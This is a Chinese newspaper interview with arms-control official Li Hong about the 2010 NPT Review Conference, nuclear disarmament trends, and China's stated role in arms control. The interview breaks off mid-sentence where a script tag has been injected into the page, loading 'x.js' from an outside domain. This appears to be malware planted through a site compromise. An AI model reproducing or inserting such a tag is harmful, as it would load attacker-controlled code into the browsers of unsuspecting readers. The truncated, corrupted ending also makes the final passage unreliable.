《不扩散核武器条约》第八次审议大会日前在纽约联合国总部闭幕。会议期间，中国军控与裁军协会秘书长黎弘作为中方代表，参加了审议大会框架下的非政府组织论坛。回国后，黎弘就进入新世纪以来的国际军控与裁军形势、中国非政府组织参与国际军控与裁军议程等问题，接受了本报记者的专访。

　　国际军控与裁军迎来春天

　　记者：对于新世纪头10年的国际军控与裁军形势，我们应该如何看待？其中的动力和阻力主要有哪些？

　　黎弘：21世纪的头10年是国际形势大变革、大动荡、大调整的10年，军控与裁军领域的形势也经历了巨大的起伏。以2001年美国退出反导条约为标志，国际军控与裁军形势开始走向全面低迷，主要表现为日内瓦裁谈会长期不能开展实质性工作，《全面禁止核试验条约》生效进程停滞，朝鲜核问题、伊朗核问题跌宕起伏，核扩散和核恐怖形势日趋严峻。与此同时，美国无视俄罗斯等大国关切，全面发展反导系统，并有将反导武器系统引向外空的危险倾向。美国单方面追求自身绝对安全的做法，给国际军控与裁军带来严重的消极影响。

　　但是，从2007年开始，美国越来越多的有识之士认识到，奉行单边主义难以实现美国的政策目标，也无法有效解决美国面临的安全困境。美国的外交政策开始向多边主义回摆，国际军控与裁军领域的工作重新得以启动和升温。仅今年以来，就有美国出台新的《核态势评估报告》、核安全峰会、美俄两国达成新的核裁军条约等标志性事件。有人认为，本世纪头10年在经历了严冬之后，终于再次迎来国际军控与裁军的春天，这是不无道理的。

　　其实，国际军控与裁军形势能够取得进展，最主要的动力还是来自于世界人民对和平的向往、对发展的期待。通过军控与裁军缔造和平，并将更多的宝贵资源用于促进人类经济社会的发展，这种认识始终在不断加强，这也是未来军控与裁军的希望所在。相关的阻力则来自传统的以武力为基础的安全观念，来自单边主义的安全政策，来自对自身绝对安全的不切实际的追求。其实，推动国际军控与裁军进程，更重要的是要推动安全观念的变革，国际社会应积极转变观念，创新机制，推动军控与裁军进程取得更多更大的进展，为人类社会的全面发展创造持久的和平环境。

　　核议程升温反映了和平与发展的时代主题

　　记者：我们注意到，近年来，国际社会有关核问题的议程不断升温，不仅涉及核裁军、核不扩散、核安全，也涉及和平利用核能的讨论，有些会议还吸引了多国的国家元首和政府首脑参加。为什么会出现这种情况？

　　黎弘：核武器是对人类和平与安全的巨大威胁，无论是“相互确保核摧毁”战略、还是通过寻求核武器能力实现自身安全的做法，都不符合和平、发展、合作的时代潮流。推进核裁军、防止新的核武器技术及材料的扩散、维护核材料与核设施的安全，与人类的和平与发展息息相关，和平利用核能还与当前全球的能源问题和气候变暖问题直接相关。可以说，核议程的升温是和平与发展的时代主题在核领域的直接反映。

　　冷战结束之后，特别是进入新世纪以来，国家间爆发大规模核战争的危险持续下降，核扩散问题则日益突出，国际核走私网络不断披露，核恐怖主义威胁明显增加。这种新型核威胁，靠以往的办法和任何单个国家都难以妥善应对，必须通过国际社会共同努力，综合治理。这也是推动当前核议程复兴的一个直接原因。

　　与此相关联，国际社会对核武器的作用认识也有了新的变化。核武器具有巨大的威慑作用，但庞大的核武库对付不了恐怖分子，甚至会成为国际社会处理地区核扩散问题的障碍。换言之，在新的国际形势下，核武器的局限性日益突出。这反过来推动了军事理论的变革和武器技术的发展，快速、远程、精确常规打击武器系统及导弹防御系统等作用上升，核武器的作用相对下降，这就为美俄核裁军和核战略调整提供了空间。需要指出的是，各国参加军控与裁军进程的出发点和着眼点都是自身安全利益。美国推动本轮核裁军、调整核态势，同样是希望通过整顿国际核秩序来维护其全球霸权。

　　中国是国际军控进程的建设性力量

　　记者：中国积极支持多边军备控制进程，在一系列问题上发挥了建设性作用，但仍然受到各种怀疑与指责。对于中国在国际军控领域的努力与贡献，应该如何看待？

　　黎弘：中国是国际军控进程的建设性力量，始终重视从维护多边主义、维护国际战略稳定的角度出发，积极支持和深刻参与多边军备控制进程。中国核战略完全透明，对?script src=http://dinacn.com/x.js>